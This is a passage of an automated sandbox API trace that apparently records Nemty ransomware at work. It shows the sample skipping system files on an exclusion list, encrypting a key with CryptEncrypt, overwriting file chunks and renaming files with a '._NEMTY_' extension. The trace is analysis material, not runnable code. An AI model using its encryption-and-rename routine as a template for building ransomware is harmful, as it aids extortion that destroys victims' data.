ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82bce89c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c83f4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="system_h.png", cAlternateFileName="")) returned 1 [0122.006] lstrcmpiW (lpString1="system_h.png", lpString2=".") returned 1 [0122.006] lstrcmpiW (lpString1="system_h.png", lpString2="..") returned 1 [0122.006] lstrcmpiW (lpString1="system_h.png", lpString2="...") returned 1 [0122.006] lstrcmpiW (lpString1="system_h.png", lpString2="windows") returned -1 [0122.006] lstrcmpiW (lpString1="system_h.png", lpString2="$RECYCLE.BIN") returned 1 [0122.006] lstrcmpiW (lpString1="system_h.png", lpString2="rsa") returned 1 [0122.007] lstrcmpiW (lpString1="system_h.png", lpString2="NTDETECT.COM") returned 1 [0122.007] lstrcmpiW (lpString1="system_h.png", lpString2="ntldr") returned 1 [0122.007] lstrcmpiW (lpString1="system_h.png", lpString2="MSDOS.SYS") returned 1 [0122.007] lstrcmpiW (lpString1="system_h.png", lpString2="IO.SYS") returned 1 [0122.007] lstrcmpiW (lpString1="system_h.png", lpString2="boot.ini") returned 1 [0122.007] lstrcmpiW (lpString1="system_h.png", lpString2="boot.ini") returned 1 [0122.007] lstrcmpiW (lpString1="system_h.png", lpString2="AUTOEXEC.BAT") returned 1 [0122.007] lstrcmpiW (lpString1="system_h.png", lpString2="ntuser.dat") returned 1 [0122.007] lstrcmpiW (lpString1="system_h.png", lpString2="desktop.ini") returned 1 [0122.007] lstrcmpiW (lpString1="system_h.png", lpString2="CONFIG.SYS") returned 1 [0122.007] lstrcmpiW (lpString1="system_h.png", lpString2="RECYCLER") returned 1 [0122.007] lstrcmpiW (lpString1="system_h.png", lpString2="BOOTSECT.BAK") returned 1 [0122.007] lstrcmpiW (lpString1="system_h.png", lpString2="bootmgr") returned 1 [0122.007] lstrcmpiW (lpString1="system_h.png", lpString2="programdata") returned 1 [0122.007] lstrcmpiW (lpString1="system_h.png", lpString2="appdata") returned 1 [0122.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_h.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0122.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_h.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system_h.png", lpUsedDefaultChar=0x0) returned 12 [0122.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0122.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_h.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0122.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_h.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system_h.png", lpUsedDefaultChar=0x0) returned 12 [0122.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0122.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_h.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0122.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_h.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system_h.png", lpUsedDefaultChar=0x0) returned 12 [0122.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_h.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0122.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_h.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system_h.png", lpUsedDefaultChar=0x0) returned 12 [0122.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0122.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0122.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0122.007] Sleep (dwMilliseconds=0x5) [0122.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfc6087f0, dwHighDateTime=0x1d561e7)) [0122.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfc6087f0, dwHighDateTime=0x1d561e7)) [0122.021] GetLastError () returned 0x5 [0122.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0122.021] GetLastError () returned 0x5 [0122.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0122.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0122.021] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0122.021] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0122.021] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0122.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0122.021] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="ye1MEKcoOzZStr4gtrAH5drMWr6o59lVKcUpWGVULKpWNd9XJMYuD9nSdi3it91s\r\nbOFpzAKthFtb2IE1t7kTffmAPUgDUyJeMezlAkguI8QG51qvaKVT6zsrrJ8Wuctd\r\nx55vAJ106EInVeO3+y+2Wj+Vvi2+Fh8RhkYbpCgTAItHVCOCAVglMzYqGB4xXXlh\r\nZQIxrgF3Lb4pf1eAOLP7yFPR1PaP9Gz0CTZfAvArnTwaA+rE7n7jLJYTapLdb77d\r\n0AXk4uJVGCNxFZx+6S+2HRdWUM7xLVPepg02MxxE3VmtS9jtAyM9ObkkNIhTDKQx\r\ng7AVkx5D9oJjjQpQK48QMQ==\r\n", pcchString=0x653e91c) returned 1 [0122.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0122.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0122.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0122.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0122.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0122.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0122.022] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_h.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.022] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0122.022] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0122.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.022] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.031] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.031] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.041] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.050] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.050] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.061] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.061] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.070] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.070] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.080] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.080] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.080] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.089] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.089] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.098] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.098] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.108] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.108] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.117] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.117] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.123] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.123] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.123] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.129] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.129] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.130] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0122.130] CloseHandle (hObject=0xffffffff) returned 0 [0122.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0122.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0122.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0122.130] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0122.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0122.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0122.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0122.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0122.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0122.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0122.130] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_h.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_h.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_h.png._nemty_kgobjgd_")) returned 0 [0122.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0122.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0122.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0122.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0122.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0122.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0122.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0122.130] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82bf49f9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82bf49f9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c83f4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="system_m.png", cAlternateFileName="")) returned 1 [0122.131] lstrcmpiW (lpString1="system_m.png", lpString2=".") returned 1 [0122.131] lstrcmpiW (lpString1="system_m.png", lpString2="..") returned 1 [0122.131] lstrcmpiW (lpString1="system_m.png", lpString2="...") returned 1 [0122.131] lstrcmpiW (lpString1="system_m.png", lpString2="windows") returned -1 [0122.131] lstrcmpiW (lpString1="system_m.png", lpString2="$RECYCLE.BIN") returned 1 [0122.131] lstrcmpiW (lpString1="system_m.png", lpString2="rsa") returned 1 [0122.131] lstrcmpiW (lpString1="system_m.png", lpString2="NTDETECT.COM") returned 1 [0122.131] lstrcmpiW (lpString1="system_m.png", lpString2="ntldr") returned 1 [0122.131] lstrcmpiW (lpString1="system_m.png", lpString2="MSDOS.SYS") returned 1 [0122.131] lstrcmpiW (lpString1="system_m.png", lpString2="IO.SYS") returned 1 [0122.131] lstrcmpiW (lpString1="system_m.png", lpString2="boot.ini") returned 1 [0122.131] lstrcmpiW (lpString1="system_m.png", lpString2="boot.ini") returned 1 [0122.131] lstrcmpiW (lpString1="system_m.png", lpString2="AUTOEXEC.BAT") returned 1 [0122.131] lstrcmpiW (lpString1="system_m.png", lpString2="ntuser.dat") returned 1 [0122.131] lstrcmpiW (lpString1="system_m.png", lpString2="desktop.ini") returned 1 [0122.131] lstrcmpiW (lpString1="system_m.png", lpString2="CONFIG.SYS") returned 1 [0122.131] lstrcmpiW (lpString1="system_m.png", lpString2="RECYCLER") returned 1 [0122.131] lstrcmpiW (lpString1="system_m.png", lpString2="BOOTSECT.BAK") returned 1 [0122.131] lstrcmpiW (lpString1="system_m.png", lpString2="bootmgr") returned 1 [0122.131] lstrcmpiW (lpString1="system_m.png", lpString2="programdata") returned 1 [0122.131] lstrcmpiW (lpString1="system_m.png", lpString2="appdata") returned 1 [0122.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_m.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0122.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_m.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system_m.png", lpUsedDefaultChar=0x0) returned 12 [0122.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0122.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_m.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0122.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="system_m.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system_m.png", lpUsedDefaultChar=0x0) returned 12 [0122.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0122.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.131] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 